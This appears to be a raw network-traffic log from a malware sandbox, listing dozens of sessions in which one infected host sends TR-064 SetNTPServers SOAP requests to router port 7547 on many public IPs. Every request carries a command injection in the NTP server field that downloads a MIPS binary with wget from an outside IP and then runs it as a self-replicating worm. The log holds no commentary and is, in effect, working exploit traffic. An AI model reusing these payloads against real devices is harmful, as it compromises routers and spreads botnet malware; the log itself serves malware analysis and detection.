Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.169053078 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:26.538758993 CEST	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	34962	37.106.53.141	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.372400045 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.256472111 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.560477972 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:35.168526888 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.128463984 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:03.328479052 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.192459106 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	47628	39.29.129.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.389734983 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	53384	218.159.250.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.394350052 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	48506	177.170.154.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.476562023 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	41602	134.16.79.133	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.550338984 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	58440	47.202.126.64	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.600380898 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	54664	107.159.134.51	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.624727964 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	41620	134.16.79.133	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.728429079 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	34980	37.106.53.141	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.734947920 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.608493090 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.816517115 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:35.424485922 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.384481907 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:03.328465939 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.192481995 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	38878	218.146.232.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.759509087 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	49486	222.102.175.140	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.760288000 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	41836	121.180.182.81	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.766999960 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:27.657571077 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	45220	159.192.82.7	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.802771091 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	58458	47.202.126.64	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.824650049 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	54680	107.159.134.51	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.867186069 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	35686	101.167.72.124	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.908915997 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
